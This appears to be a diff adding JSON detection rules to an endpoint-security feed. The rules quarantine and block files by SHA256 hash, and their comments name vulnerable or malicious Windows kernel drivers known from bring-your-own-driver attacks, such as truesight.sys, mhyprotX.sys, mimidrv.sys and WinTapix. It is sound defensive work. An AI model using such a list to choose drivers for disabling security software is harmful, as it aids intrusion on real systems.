+{
+  "id": "b6984ab0-6362-59b4-b954-1b8544ebf91f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826389Z",
+  "creation_date": "2026-03-23T11:45:30.826391Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826397Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4144c5acae0a44ca3b2abbb9346bd17621bcdaaf66107ab5f4059d594b645bd1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b69e3285-6453-5b93-bdc5-e4f328ee3d36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457564Z",
+  "creation_date": "2026-03-23T11:45:30.457567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457576Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aff3f4d25b85b6b3147d2b7f586edc3e9aa2ec25c37d5dc7ad809d99677497ea",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b69f342a-feab-5c85-ac01-b28254e4512a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612037Z",
+  "creation_date": "2026-03-23T11:45:29.612039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "475e5016c9c0f5a127896f9179a1b1577a67b357f399ab5a1e68aab07134729a",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6a1f8a5-1ca6-5739-a64e-b10b8a1a8762",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481468Z",
+  "creation_date": "2026-03-23T11:45:30.481472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481480Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a66b4420fa1df81a517e2bbea1a414b57721c67a4aa1df1967894f77e81d036e",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6ae8e70-0b6b-5dbc-ad9b-0dd6cfcb4d1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487378Z",
+  "creation_date": "2026-03-23T11:45:31.487380Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12428d69268adc7d6bf9c1e74b3e799cabe8319bffb47729385205b17c43a40b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6b12588-2faf-5dfa-a97d-0f8f31256ee2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977072Z",
+  "creation_date": "2026-03-23T11:45:29.977074Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145",
+  "comment": "HP Hardware Diagnostic's EtdSupp vulnerable driver (aka etdsupp.sys) [https://github.com/alfarom256/HPHardwareDiagnostics-PoC] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6b6d27f-e0de-5bc8-adde-76f77f6928bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612232Z",
+  "creation_date": "2026-03-23T11:45:29.612234Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612239Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7bfa54943180e34aea390a8f63a2cb007cf53c336dff697c60a79103f3c0c19d",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6c3acaf-dcbe-5582-9714-e38769d84f4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604482Z",
+  "creation_date": "2026-03-23T11:45:29.604484Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604489Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b4f59236a9b950bcd5191b35d19125f60cfb9e1a1e1aa2e4f914b6745dde9df",
+  "comment": "Vulnerable Kernel Driver (aka STProcessMonitor.sys) [https://github.com/ANYLNK/STProcessMonitorBYOVD/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6cc106e-0e47-5024-8c3b-3d5e8df07ad2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811561Z",
+  "creation_date": "2026-03-23T11:45:31.811563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d27b53a93330abe2ba2fd0c93a1caa1a55e79cb8ece3eb0b38653712ef82272f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6eaf652-d31f-528f-ad0a-5d2dac9af4f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152986Z",
+  "creation_date": "2026-03-23T11:45:31.152990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152998Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9253b82646dd6767c9bbbdcf036643b83d6e3ac046b869604b300c342636af27",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6fd03d8-d637-5f1a-bb3e-6e94129a6169",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826479Z",
+  "creation_date": "2026-03-23T11:45:30.826481Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826486Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e452b924f08462338446dd707dd56a8b1da279ca503006bc981884206d7c5fb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7002c98-6ee6-5a56-8e54-2367ff063bbf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473475Z",
+  "creation_date": "2026-03-23T11:45:31.473479Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473489Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4afbf265692579b3b771883308cd632f722feb86ee5fb9689eb7120f4749e221",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b705e0f9-0f2f-5294-90a0-52c6b8dbdd26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812320Z",
+  "creation_date": "2026-03-23T11:45:31.812324Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c81ac49bf30708098f785a712fd922f72284c1c44922afaebbe42f4e8f1de6cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b706e6ad-8f93-50af-98ce-d80686847612",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810955Z",
+  "creation_date": "2026-03-23T11:45:31.810957Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810962Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57e7fee32f356edbbe3911f708f3a578fd28895597cf661d76fb5ea8500cee52",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7134e9b-239d-52c4-acf1-c2bcc9dd5fd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481804Z",
+  "creation_date": "2026-03-23T11:45:30.481806Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481812Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c8ad57b3a224fdc2aac9dd2d7c3624f1fcd3542d4db804de25a90155657e2cc",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b72374d9-a834-5185-a05a-61f85f435328",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622280Z",
+  "creation_date": "2026-03-23T11:45:29.622282Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622287Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9778136d2441439dc470861d15d96fa21dc9f16225232cd05b76791a5e0fde6f",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b727055a-75af-578d-b473-974c5fd00335",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819016Z",
+  "creation_date": "2026-03-23T11:45:31.819020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819028Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a984513c456cb68749afba1fe16be4b2e10b0f30761e95165f1217bdfbe682b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b72ae010-2ad2-5735-b348-b95ec3ed4bab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605249Z",
+  "creation_date": "2026-03-23T11:45:29.605251Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29f611e5189e8a1b1c8e5534bdafa617f679097a54dd4f91af3dc8922e668e04",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b72eaff8-1c6f-5c90-9338-f97017d4669a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608155Z",
+  "creation_date": "2026-03-23T11:45:29.608157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608162Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3026a7202354b9b1300215cf0288f34ffb99098a0a2fcd96fbad0987182a99cf",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b734d229-477c-5c29-ace9-bd065d675680",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142109Z",
+  "creation_date": "2026-03-23T11:45:31.142111Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142117Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50f528b63af1ffa45d6a7f0a60b4170de2785575cc58b79c28831699b346462a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7470c30-eb55-5e04-8e2a-576b4a8fce1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970755Z",
+  "creation_date": "2026-03-23T11:45:29.970758Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970766Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4297641b1127248815ceb5e06dc0f6c5121e73f2fa91fe573a7c6f8dac66745e",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b7492c3f-b3da-5565-8f9b-0e77dc96b321",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985648Z",
+  "creation_date": "2026-03-23T11:45:29.985650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1485c0ed3e875cbdfc6786a5bd26d18ea9d31727deb8df290a1c00c780419a4e",
+  "comment": "Malicious Kernel Driver related to WINTAPIX (aka WinTapix.sys and SRVNET2.SYS) [https://www.fortinet.com/blog/threat-research/wintapix-kernal-driver-middle-east-countries] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b74b620f-f7ab-5f2b-8b07-26b3091444c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
